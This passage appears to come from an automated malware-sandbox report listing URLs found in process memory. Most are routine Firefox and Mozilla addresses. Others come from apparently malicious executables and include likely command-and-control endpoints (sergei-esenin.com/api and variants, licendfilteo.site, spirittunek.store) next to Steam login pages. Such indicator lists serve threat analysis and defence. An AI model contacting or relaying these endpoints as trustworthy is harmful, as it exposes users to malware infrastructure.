Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206170906.0000016C0CEA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2176955876.0000016C0B3F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 00000015.00000003.2207149416.0000016C0CE09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 00000015.00000003.2257505898.0000016C136B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000015.00000003.2254134986.0000016C15AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/4ffcffa7-c5ad-491d-bbb4-1a0fd
Source: firefox.exe, 00000015.00000003.2250235920.0000016C7F6E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/metrics/1/12cf98ce-aa25-4a57-bdd2-4c8b
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000015.00000003.2086228328.0000016C0C0D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2072335586.0000016C0C0D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000015.00000003.2072335586.0000016C0C06F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247091979.0000016C0DF9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lookerstudio.google.com/embed/reporting/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000015.00000003.2228003107.0000016C164AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2104170885.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: 48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2803605107.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2685094039.000000000537C000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2683118799.000000000070E000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2758876464.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2762424859.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2757260734.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/$
Source: file.exe, 00000000.00000003.1850230214.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1842707299.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/0
Source: 9b7d422018.exe, 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/5
Source: 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/7
Source: 9b7d422018.exe, 0000001B.00000003.2657531305.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/A
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/D
Source: 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/G
Source: 48bf814d33.exe, 0000001E.00000003.2676453543.0000000005374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/K
Source: 48bf814d33.exe, 0000001E.00000003.2803605107.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/L
Source: 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/O
Source: file.exe, 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1850230214.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1842707299.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/P
Source: file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/Pu
Source: file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/Ua
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1895478653.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935425065.0000000005901000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1849841066.0000000005919000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742967425.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1831752123.0000000005918000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858709746.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858401796.0000000005919000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907528972.0000000001189000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1832429292.0000000005919000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935620208.0000000001188000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2526474259.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: 48bf814d33.exe, 0000001E.00000003.2726300389.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api1
Source: 9b7d422018.exe, 0000001F.00000003.2680551648.0000000005350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api4B
Source: 9b7d422018.exe, 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiC
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiL
Source: 9b7d422018.exe, 0000001B.00000003.2655299054.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apib
Source: 9b7d422018.exe, 0000001F.00000003.2766804861.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apief
Source: file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apihV
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apim
Source: file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apip
Source: file.exe, 00000000.00000003.1895478653.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858709746.000000000118A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apit
Source: file.exe, 00000000.00000003.1895478653.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858709746.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907528972.0000000001189000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935620208.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiu
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiw
Source: file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api~
Source: 20b68761b3.exe, 00000021.00000003.2784355418.0000000005401000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2783502640.00000000053FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/cc
Source: 48bf814d33.exe, 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/d
Source: file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/ei
Source: 9b7d422018.exe, 0000001B.00000003.2753876389.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/g
Source: file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/gE
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/o
Source: file.exe, 00000000.00000003.1802702331.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/p
Source: file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1802702331.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/x
Source: 9b7d422018.exe, 0000001B.00000003.2581352858.0000000005C81000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2657265505.0000000005C89000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2654428573.0000000005C81000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: 9b7d422018.exe, 0000001B.00000003.2657265505.0000000005C89000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2654428573.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apij~
Source: firefox.exe, 00000015.00000003.2253923217.0000016C16412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205722525.0000016C0CFF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2207340958.0000016C0CDEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
